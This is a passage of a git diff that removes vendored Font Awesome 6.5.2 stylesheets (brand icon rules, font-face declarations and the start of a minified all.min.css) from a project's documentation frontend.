- content: "\f19a"; }
-
-.fa-product-hunt:before {
- content: "\f288"; }
-
-.fa-firefox:before {
- content: "\f269"; }
-
-.fa-linode:before {
- content: "\f2b8"; }
-
-.fa-goodreads:before {
- content: "\f3a8"; }
-
-.fa-square-odnoklassniki:before {
- content: "\f264"; }
-
-.fa-odnoklassniki-square:before {
- content: "\f264"; }
-
-.fa-jsfiddle:before {
- content: "\f1cc"; }
-
-.fa-sith:before {
- content: "\f512"; }
-
-.fa-themeisle:before {
- content: "\f2b2"; }
-
-.fa-page4:before {
- content: "\f3d7"; }
-
-.fa-hashnode:before {
- content: "\e499"; }
-
-.fa-react:before {
- content: "\f41b"; }
-
-.fa-cc-paypal:before {
- content: "\f1f4"; }
-
-.fa-squarespace:before {
- content: "\f5be"; }
-
-.fa-cc-stripe:before {
- content: "\f1f5"; }
-
-.fa-creative-commons-share:before {
- content: "\f4f2"; }
-
-.fa-bitcoin:before {
- content: "\f379"; }
-
-.fa-keycdn:before {
- content: "\f3ba"; }
-
-.fa-opera:before {
- content: "\f26a"; }
-
-.fa-itch-io:before {
- content: "\f83a"; }
-
-.fa-umbraco:before {
- content: "\f8e8"; }
-
-.fa-galactic-senate:before {
- content: "\f50d"; }
-
-.fa-ubuntu:before {
- content: "\f7df"; }
-
-.fa-draft2digital:before {
- content: "\f396"; }
-
-.fa-stripe:before {
- content: "\f429"; }
-
-.fa-houzz:before {
- content: "\f27c"; }
-
-.fa-gg:before {
- content: "\f260"; }
-
-.fa-dhl:before {
- content: "\f790"; }
-
-.fa-square-pinterest:before {
- content: "\f0d3"; }
-
-.fa-pinterest-square:before {
- content: "\f0d3"; }
-
-.fa-xing:before {
- content: "\f168"; }
-
-.fa-blackberry:before {
- content: "\f37b"; }
-
-.fa-creative-commons-pd:before {
- content: "\f4ec"; }
-
-.fa-playstation:before {
- content: "\f3df"; }
-
-.fa-quinscape:before {
- content: "\f459"; }
-
-.fa-less:before {
- content: "\f41d"; }
-
-.fa-blogger-b:before {
- content: "\f37d"; }
-
-.fa-opencart:before {
- content: "\f23d"; }
-
-.fa-vine:before {
- content: "\f1ca"; }
-
-.fa-signal-messenger:before {
- content: "\e663"; }
-
-.fa-paypal:before {
- content: "\f1ed"; }
-
-.fa-gitlab:before {
- content: "\f296"; }
-
-.fa-typo3:before {
- content: "\f42b"; }
-
-.fa-reddit-alien:before {
- content: "\f281"; }
-
-.fa-yahoo:before {
- content: "\f19e"; }
-
-.fa-dailymotion:before {
- content: "\e052"; }
-
-.fa-affiliatetheme:before {
- content: "\f36b"; }
-
-.fa-pied-piper-pp:before {
- content: "\f1a7"; }
-
-.fa-bootstrap:before {
- content: "\f836"; }
-
-.fa-odnoklassniki:before {
- content: "\f263"; }
-
-.fa-nfc-symbol:before {
- content: "\e531"; }
-
-.fa-mintbit:before {
- content: "\e62f"; }
-
-.fa-ethereum:before {
- content: "\f42e"; }
-
-.fa-speaker-deck:before {
- content: "\f83c"; }
-
-.fa-creative-commons-nc-eu:before {
- content: "\f4e9"; }
-
-.fa-patreon:before {
- content: "\f3d9"; }
-
-.fa-avianex:before {
- content: "\f374"; }
-
-.fa-ello:before {
- content: "\f5f1"; }
-
-.fa-gofore:before {
- content: "\f3a7"; }
-
-.fa-bimobject:before {
- content: "\f378"; }
-
-.fa-brave-reverse:before {
- content: "\e63d"; }
-
-.fa-facebook-f:before {
- content: "\f39e"; }
-
-.fa-square-google-plus:before {
- content: "\f0d4"; }
-
-.fa-google-plus-square:before {
- content: "\f0d4"; }
-
-.fa-web-awesome:before {
- content: "\e682"; }
-
-.fa-mandalorian:before {
- content: "\f50f"; }
-
-.fa-first-order-alt:before {
- content: "\f50a"; }
-
-.fa-osi:before {
- content: "\f41a"; }
-
-.fa-google-wallet:before {
- content: "\f1ee"; }
-
-.fa-d-and-d-beyond:before {
- content: "\f6ca"; }
-
-.fa-periscope:before {
- content: "\f3da"; }
-
-.fa-fulcrum:before {
- content: "\f50b"; }
-
-.fa-cloudscale:before {
- content: "\f383"; }
-
-.fa-forumbee:before {
- content: "\f211"; }
-
-.fa-mizuni:before {
- content: "\f3cc"; }
-
-.fa-schlix:before {
- content: "\f3ea"; }
-
-.fa-square-xing:before {
- content: "\f169"; }
-
-.fa-xing-square:before {
- content: "\f169"; }
-
-.fa-bandcamp:before {
- content: "\f2d5"; }
-
-.fa-wpforms:before {
- content: "\f298"; }
-
-.fa-cloudversify:before {
- content: "\f385"; }
-
-.fa-usps:before {
- content: "\f7e1"; }
-
-.fa-megaport:before {
- content: "\f5a3"; }
-
-.fa-magento:before {
- content: "\f3c4"; }
-
-.fa-spotify:before {
- content: "\f1bc"; }
-
-.fa-optin-monster:before {
- content: "\f23c"; }
-
-.fa-fly:before {
- content: "\f417"; }
-
-.fa-aviato:before {
- content: "\f421"; }
-
-.fa-itunes:before {
- content: "\f3b4"; }
-
-.fa-cuttlefish:before {
- content: "\f38c"; }
-
-.fa-blogger:before {
- content: "\f37c"; }
-
-.fa-flickr:before {
- content: "\f16e"; }
-
-.fa-viber:before {
- content: "\f409"; }
-
-.fa-soundcloud:before {
- content: "\f1be"; }
-
-.fa-digg:before {
- content: "\f1a6"; }
-
-.fa-tencent-weibo:before {
- content: "\f1d5"; }
-
-.fa-letterboxd:before {
- content: "\e62d"; }
-
-.fa-symfony:before {
- content: "\f83d"; }
-
-.fa-maxcdn:before {
- content: "\f136"; }
-
-.fa-etsy:before {
- content: "\f2d7"; }
-
-.fa-facebook-messenger:before {
- content: "\f39f"; }
-
-.fa-audible:before {
- content: "\f373"; }
-
-.fa-think-peaks:before {
- content: "\f731"; }
-
-.fa-bilibili:before {
- content: "\e3d9"; }
-
-.fa-erlang:before {
- content: "\f39d"; }
-
-.fa-x-twitter:before {
- content: "\e61b"; }
-
-.fa-cotton-bureau:before {
- content: "\f89e"; }
-
-.fa-dashcube:before {
- content: "\f210"; }
-
-.fa-42-group:before {
- content: "\e080"; }
-
-.fa-innosoft:before {
- content: "\e080"; }
-
-.fa-stack-exchange:before {
- content: "\f18d"; }
-
-.fa-elementor:before {
- content: "\f430"; }
-
-.fa-square-pied-piper:before {
- content: "\e01e"; }
-
-.fa-pied-piper-square:before {
- content: "\e01e"; }
-
-.fa-creative-commons-nd:before {
- content: "\f4eb"; }
-
-.fa-palfed:before {
- content: "\f3d8"; }
-
-.fa-superpowers:before {
- content: "\f2dd"; }
-
-.fa-resolving:before {
- content: "\f3e7"; }
-
-.fa-xbox:before {
- content: "\f412"; }
-
-.fa-square-web-awesome-stroke:before {
- content: "\e684"; }
-
-.fa-searchengin:before {
- content: "\f3eb"; }
-
-.fa-tiktok:before {
- content: "\e07b"; }
-
-.fa-square-facebook:before {
- content: "\f082"; }
-
-.fa-facebook-square:before {
- content: "\f082"; }
-
-.fa-renren:before {
- content: "\f18b"; }
-
-.fa-linux:before {
- content: "\f17c"; }
-
-.fa-glide:before {
- content: "\f2a5"; }
-
-.fa-linkedin:before {
- content: "\f08c"; }
-
-.fa-hubspot:before {
- content: "\f3b2"; }
-
-.fa-deploydog:before {
- content: "\f38e"; }
-
-.fa-twitch:before {
- content: "\f1e8"; }
-
-.fa-ravelry:before {
- content: "\f2d9"; }
-
-.fa-mixer:before {
- content: "\e056"; }
-
-.fa-square-lastfm:before {
- content: "\f203"; }
-
-.fa-lastfm-square:before {
- content: "\f203"; }
-
-.fa-vimeo:before {
- content: "\f40a"; }
-
-.fa-mendeley:before {
- content: "\f7b3"; }
-
-.fa-uniregistry:before {
- content: "\f404"; }
-
-.fa-figma:before {
- content: "\f799"; }
-
-.fa-creative-commons-remix:before {
- content: "\f4ee"; }
-
-.fa-cc-amazon-pay:before {
- content: "\f42d"; }
-
-.fa-dropbox:before {
- content: "\f16b"; }
-
-.fa-instagram:before {
- content: "\f16d"; }
-
-.fa-cmplid:before {
- content: "\e360"; }
-
-.fa-upwork:before {
- content: "\e641"; }
-
-.fa-facebook:before {
- content: "\f09a"; }
-
-.fa-gripfire:before {
- content: "\f3ac"; }
-
-.fa-jedi-order:before {
- content: "\f50e"; }
-
-.fa-uikit:before {
- content: "\f403"; }
-
-.fa-fort-awesome-alt:before {
- content: "\f3a3"; }
-
-.fa-phabricator:before {
- content: "\f3db"; }
-
-.fa-ussunnah:before {
- content: "\f407"; }
-
-.fa-earlybirds:before {
- content: "\f39a"; }
-
-.fa-trade-federation:before {
- content: "\f513"; }
-
-.fa-autoprefixer:before {
- content: "\f41c"; }
-
-.fa-whatsapp:before {
- content: "\f232"; }
-
-.fa-square-upwork:before {
- content: "\e67c"; }
-
-.fa-slideshare:before {
- content: "\f1e7"; }
-
-.fa-google-play:before {
- content: "\f3ab"; }
-
-.fa-viadeo:before {
- content: "\f2a9"; }
-
-.fa-line:before {
- content: "\f3c0"; }
-
-.fa-google-drive:before {
- content: "\f3aa"; }
-
-.fa-servicestack:before {
- content: "\f3ec"; }
-
-.fa-simplybuilt:before {
- content: "\f215"; }
-
-.fa-bitbucket:before {
- content: "\f171"; }
-
-.fa-imdb:before {
- content: "\f2d8"; }
-
-.fa-deezer:before {
- content: "\e077"; }
-
-.fa-raspberry-pi:before {
- content: "\f7bb"; }
-
-.fa-jira:before {
- content: "\f7b1"; }
-
-.fa-docker:before {
- content: "\f395"; }
-
-.fa-screenpal:before {
- content: "\e570"; }
-
-.fa-bluetooth:before {
- content: "\f293"; }
-
-.fa-gitter:before {
- content: "\f426"; }
-
-.fa-d-and-d:before {
- content: "\f38d"; }
-
-.fa-microblog:before {
- content: "\e01a"; }
-
-.fa-cc-diners-club:before {
- content: "\f24c"; }
-
-.fa-gg-circle:before {
- content: "\f261"; }
-
-.fa-pied-piper-hat:before {
- content: "\f4e5"; }
-
-.fa-kickstarter-k:before {
- content: "\f3bc"; }
-
-.fa-yandex:before {
- content: "\f413"; }
-
-.fa-readme:before {
- content: "\f4d5"; }
-
-.fa-html5:before {
- content: "\f13b"; }
-
-.fa-sellsy:before {
- content: "\f213"; }
-
-.fa-square-web-awesome:before {
- content: "\e683"; }
-
-.fa-sass:before {
- content: "\f41e"; }
-
-.fa-wirsindhandwerk:before {
- content: "\e2d0"; }
-
-.fa-wsh:before {
- content: "\e2d0"; }
-
-.fa-buromobelexperte:before {
- content: "\f37f"; }
-
-.fa-salesforce:before {
- content: "\f83b"; }
-
-.fa-octopus-deploy:before {
- content: "\e082"; }
-
-.fa-medapps:before {
- content: "\f3c6"; }
-
-.fa-ns8:before {
- content: "\f3d5"; }
-
-.fa-pinterest-p:before {
- content: "\f231"; }
-
-.fa-apper:before {
- content: "\f371"; }
-
-.fa-fort-awesome:before {
- content: "\f286"; }
-
-.fa-waze:before {
- content: "\f83f"; }
-
-.fa-bluesky:before {
- content: "\e671"; }
-
-.fa-cc-jcb:before {
- content: "\f24b"; }
-
-.fa-snapchat:before {
- content: "\f2ab"; }
-
-.fa-snapchat-ghost:before {
- content: "\f2ab"; }
-
-.fa-fantasy-flight-games:before {
- content: "\f6dc"; }
-
-.fa-rust:before {
- content: "\e07a"; }
-
-.fa-wix:before {
- content: "\f5cf"; }
-
-.fa-square-behance:before {
- content: "\f1b5"; }
-
-.fa-behance-square:before {
- content: "\f1b5"; }
-
-.fa-supple:before {
- content: "\f3f9"; }
-
-.fa-webflow:before {
- content: "\e65c"; }
-
-.fa-rebel:before {
- content: "\f1d0"; }
-
-.fa-css3:before {
- content: "\f13c"; }
-
-.fa-staylinked:before {
- content: "\f3f5"; }
-
-.fa-kaggle:before {
- content: "\f5fa"; }
-
-.fa-space-awesome:before {
- content: "\e5ac"; }
-
-.fa-deviantart:before {
- content: "\f1bd"; }
-
-.fa-cpanel:before {
- content: "\f388"; }
-
-.fa-goodreads-g:before {
- content: "\f3a9"; }
-
-.fa-square-git:before {
- content: "\f1d2"; }
-
-.fa-git-square:before {
- content: "\f1d2"; }
-
-.fa-square-tumblr:before {
- content: "\f174"; }
-
-.fa-tumblr-square:before {
- content: "\f174"; }
-
-.fa-trello:before {
- content: "\f181"; }
-
-.fa-creative-commons-nc-jp:before {
- content: "\f4ea"; }
-
-.fa-get-pocket:before {
- content: "\f265"; }
-
-.fa-perbyte:before {
- content: "\e083"; }
-
-.fa-grunt:before {
- content: "\f3ad"; }
-
-.fa-weebly:before {
- content: "\f5cc"; }
-
-.fa-connectdevelop:before {
- content: "\f20e"; }
-
-.fa-leanpub:before {
- content: "\f212"; }
-
-.fa-black-tie:before {
- content: "\f27e"; }
-
-.fa-themeco:before {
- content: "\f5c6"; }
-
-.fa-python:before {
- content: "\f3e2"; }
-
-.fa-android:before {
- content: "\f17b"; }
-
-.fa-bots:before {
- content: "\e340"; }
-
-.fa-free-code-camp:before {
- content: "\f2c5"; }
-
-.fa-hornbill:before {
- content: "\f592"; }
-
-.fa-js:before {
- content: "\f3b8"; }
-
-.fa-ideal:before {
- content: "\e013"; }
-
-.fa-git:before {
- content: "\f1d3"; }
-
-.fa-dev:before {
- content: "\f6cc"; }
-
-.fa-sketch:before {
- content: "\f7c6"; }
-
-.fa-yandex-international:before {
- content: "\f414"; }
-
-.fa-cc-amex:before {
- content: "\f1f3"; }
-
-.fa-uber:before {
- content: "\f402"; }
-
-.fa-github:before {
- content: "\f09b"; }
-
-.fa-php:before {
- content: "\f457"; }
-
-.fa-alipay:before {
- content: "\f642"; }
-
-.fa-youtube:before {
- content: "\f167"; }
-
-.fa-skyatlas:before {
- content: "\f216"; }
-
-.fa-firefox-browser:before {
- content: "\e007"; }
-
-.fa-replyd:before {
- content: "\f3e6"; }
-
-.fa-suse:before {
- content: "\f7d6"; }
-
-.fa-jenkins:before {
- content: "\f3b6"; }
-
-.fa-twitter:before {
- content: "\f099"; }
-
-.fa-rockrms:before {
- content: "\f3e9"; }
-
-.fa-pinterest:before {
- content: "\f0d2"; }
-
-.fa-buffer:before {
- content: "\f837"; }
-
-.fa-npm:before {
- content: "\f3d4"; }
-
-.fa-yammer:before {
- content: "\f840"; }
-
-.fa-btc:before {
- content: "\f15a"; }
-
-.fa-dribbble:before {
- content: "\f17d"; }
-
-.fa-stumbleupon-circle:before {
- content: "\f1a3"; }
-
-.fa-internet-explorer:before {
- content: "\f26b"; }
-
-.fa-stubber:before {
- content: "\e5c7"; }
-
-.fa-telegram:before {
- content: "\f2c6"; }
-
-.fa-telegram-plane:before {
- content: "\f2c6"; }
-
-.fa-old-republic:before {
- content: "\f510"; }
-
-.fa-odysee:before {
- content: "\e5c6"; }
-
-.fa-square-whatsapp:before {
- content: "\f40c"; }
-
-.fa-whatsapp-square:before {
- content: "\f40c"; }
-
-.fa-node-js:before {
- content: "\f3d3"; }
-
-.fa-edge-legacy:before {
- content: "\e078"; }
-
-.fa-slack:before {
- content: "\f198"; }
-
-.fa-slack-hash:before {
- content: "\f198"; }
-
-.fa-medrt:before {
- content: "\f3c8"; }
-
-.fa-usb:before {
- content: "\f287"; }
-
-.fa-tumblr:before {
- content: "\f173"; }
-
-.fa-vaadin:before {
- content: "\f408"; }
-
-.fa-quora:before {
- content: "\f2c4"; }
-
-.fa-square-x-twitter:before {
- content: "\e61a"; }
-
-.fa-reacteurope:before {
- content: "\f75d"; }
-
-.fa-medium:before {
- content: "\f23a"; }
-
-.fa-medium-m:before {
- content: "\f23a"; }
-
-.fa-amilia:before {
- content: "\f36d"; }
-
-.fa-mixcloud:before {
- content: "\f289"; }
-
-.fa-flipboard:before {
- content: "\f44d"; }
-
-.fa-viacoin:before {
- content: "\f237"; }
-
-.fa-critical-role:before {
- content: "\f6c9"; }
-
-.fa-sitrox:before {
- content: "\e44a"; }
-
-.fa-discourse:before {
- content: "\f393"; }
-
-.fa-joomla:before {
- content: "\f1aa"; }
-
-.fa-mastodon:before {
- content: "\f4f6"; }
-
-.fa-airbnb:before {
- content: "\f834"; }
-
-.fa-wolf-pack-battalion:before {
- content: "\f514"; }
-
-.fa-buy-n-large:before {
- content: "\f8a6"; }
-
-.fa-gulp:before {
- content: "\f3ae"; }
-
-.fa-creative-commons-sampling-plus:before {
- content: "\f4f1"; }
-
-.fa-strava:before {
- content: "\f428"; }
-
-.fa-ember:before {
- content: "\f423"; }
-
-.fa-canadian-maple-leaf:before {
- content: "\f785"; }
-
-.fa-teamspeak:before {
- content: "\f4f9"; }
-
-.fa-pushed:before {
- content: "\f3e1"; }
-
-.fa-wordpress-simple:before {
- content: "\f411"; }
-
-.fa-nutritionix:before {
- content: "\f3d6"; }
-
-.fa-wodu:before {
- content: "\e088"; }
-
-.fa-google-pay:before {
- content: "\e079"; }
-
-.fa-intercom:before {
- content: "\f7af"; }
-
-.fa-zhihu:before {
- content: "\f63f"; }
-
-.fa-korvue:before {
- content: "\f42f"; }
-
-.fa-pix:before {
- content: "\e43a"; }
-
-.fa-steam-symbol:before {
- content: "\f3f6"; }
-:root, :host {
- --fa-style-family-classic: 'Font Awesome 6 Free';
- --fa-font-regular: normal 400 1em/1 'Font Awesome 6 Free'; }
-
-@font-face {
- font-family: 'Font Awesome 6 Free';
- font-style: normal;
- font-weight: 400;
- font-display: block;
- src: url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.ttf") format("truetype"); }
-
-.far,
-.fa-regular {
- font-weight: 400; }
-:root, :host {
- --fa-style-family-classic: 'Font Awesome 6 Free';
- --fa-font-solid: normal 900 1em/1 'Font Awesome 6 Free'; }
-
-@font-face {
- font-family: 'Font Awesome 6 Free';
- font-style: normal;
- font-weight: 900;
- font-display: block;
- src: url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.ttf") format("truetype"); }
-
-.fas,
-.fa-solid {
- font-weight: 900; }
-@font-face {
- font-family: 'Font Awesome 5 Brands';
- font-display: block;
- font-weight: 400;
- src: url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.ttf") format("truetype"); }
-
-@font-face {
- font-family: 'Font Awesome 5 Free';
- font-display: block;
- font-weight: 900;
- src: url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.ttf") format("truetype"); }
-
-@font-face {
- font-family: 'Font Awesome 5 Free';
- font-display: block;
- font-weight: 400;
- src: url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.ttf") format("truetype"); }
-@font-face {
- font-family: 'FontAwesome';
- font-display: block;
- src: url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.ttf") format("truetype"); }
-
-@font-face {
- font-family: 'FontAwesome';
- font-display: block;
- src: url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.ttf") format("truetype"); }
-
-@font-face {
- font-family: 'FontAwesome';
- font-display: block;
- src: url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.ttf") format("truetype");
- unicode-range: U+F003,U+F006,U+F014,U+F016-F017,U+F01A-F01B,U+F01D,U+F022,U+F03E,U+F044,U+F046,U+F05C-F05D,U+F06E,U+F070,U+F087-F088,U+F08A,U+F094,U+F096-F097,U+F09D,U+F0A0,U+F0A2,U+F0A4-F0A7,U+F0C5,U+F0C7,U+F0E5-F0E6,U+F0EB,U+F0F6-F0F8,U+F10C,U+F114-F115,U+F118-F11A,U+F11C-F11D,U+F133,U+F147,U+F14E,U+F150-F152,U+F185-F186,U+F18E,U+F190-F192,U+F196,U+F1C1-F1C9,U+F1D9,U+F1DB,U+F1E3,U+F1EA,U+F1F7,U+F1F9,U+F20A,U+F247-F248,U+F24A,U+F24D,U+F255-F25B,U+F25D,U+F271-F274,U+F278,U+F27B,U+F28C,U+F28E,U+F29C,U+F2B5,U+F2B7,U+F2BA,U+F2BC,U+F2BE,U+F2C0-F2C1,U+F2C3,U+F2D0,U+F2D2,U+F2D4,U+F2DC; }
-
-@font-face {
- font-family: 'FontAwesome';
- font-display: block;
- src: url("../webfonts/fa-v4compatibility.woff2") format("woff2"), url("../webfonts/fa-v4compatibility.ttf") format("truetype");
- unicode-range: U+F041,U+F047,U+F065-F066,U+F07D-F07E,U+F080,U+F08B,U+F08E,U+F090,U+F09A,U+F0AC,U+F0AE,U+F0B2,U+F0D0,U+F0D6,U+F0E4,U+F0EC,U+F10A-F10B,U+F123,U+F13E,U+F148-F149,U+F14C,U+F156,U+F15E,U+F160-F161,U+F163,U+F175-F178,U+F195,U+F1F8,U+F219,U+F27A; }
diff --git a/documentation/frontend/static/fontawesome/css/all.min.css b/documentation/frontend/static/fontawesome/css/all.min.css
deleted file mode 100644
index 45072b3..0000000
--- a/documentation/frontend/static/fontawesome/css/all.min.css
+++ /dev/null
@@ -1,9 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-.fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-classic,.fa-regular,.fa-sharp,.fa-solid,.fab,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-classic,.fa-regular,.fa-solid,.far,.fas{font-family:"Font Awesome 6 Free"}.fa-brands,.fab{font-family:"Font Awesome 6 Brands"}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.05357em}.fa-lg{font-size:1.25em;line-height:.05em;vertical-align:-.075em}.fa-xl{font-size:1.5em;line-height:.04167em;vertical-align:-.125em}.fa-2xl{font-size:2em;line-height:.03125em;vertical-align:-.1875em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:var(--fa-li-margin,2.5em);padding-left:0}.fa-ul>li{position:relative}.fa-li{left:calc(var(--fa-li-width, 2em)*-1);position:absolute;text-align:center;width:var(--fa-li-width,2em);line-height:inherit}.fa-border{border-radius:var(--fa-border-radius,.1em);border:var(--fa-border-width,.08em) var(--fa-border-style,solid) var(--fa-border-color,#eee);padding:var(--fa-border-padding,.2em .25em .15em)}.fa-pull-left{float:left;margin-right:var(--fa-pull-margin,.3em)}.fa-pull-right{float:right;margin-left:var(--fa-pull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,ease-in-out);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-bounce{-webkit-animation-name:fa-bounce;animation-name:fa-bounce;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{-webkit-animation-name:fa-fade;animation-name:fa-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-beat-fade,.fa-fade{-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s)}.fa-beat-fade{-webkit-animation-name:fa-beat-fade;animation-name:fa-beat-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-flip{-webkit-animation-name:fa-flip;animation-name:fa-flip;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,ease-in-out);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-shake{-webkit-animation-name:fa-shake;animation-name:fa-shake;-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-shake,.fa-spin{-webkit-animation-delay:var(--fa-animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal)}.fa-spin{-webkit-animation-name:fa-spin;animation-name:fa-spin;-webkit-animation-duration:var(--fa-animation-duration,2s);animation-duration:var(--fa-animation-duration,2s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,linear);animation-timing-function:var(--fa-animation-timing,linear)}.fa-spin-reverse{--fa-animation-direction:reverse}.fa-pulse,.fa-spin-pulse{-webkit-animation-name:fa-spin;animation-name:fa-spin;-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,steps(8));animation-timing-function:var(--fa-animation-timing,steps(8))}@media (prefers-reduced-motion:reduce){.fa-beat,.fa-beat-fade,.fa-bounce,.fa-fade,.fa-flip,.fa-pulse,.fa-shake,.fa-spin,.fa-spin-pulse{-webkit-animation-delay:-1ms;animation-delay:-1ms;-webkit-animation-duration:1ms;animation-duration:1ms;-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-transition-delay:0s;transition-delay:0s;-webkit-transition-duration:0s;transition-duration:0s}}@-webkit-keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@-webkit-keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webkit-transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em));transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{-webkit-transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0);transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) translateY(0)}57%{-webkit-transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em));transform:scale(1) translateY(var(--fa-bounce-rebound,-.125em))}64%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webkit-transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em));transform:scale(var(--fa-bounce-jump-scale-x,.9),var(--fa-bounce-jump-scale-y,1.1)) translateY(var(--fa-bounce-height,-.5em))}50%{-webkit-transform:scale(var(--fa-bounce-land-scale-x,1.05),var(--fa-bounce-land-scale-y,.95)) 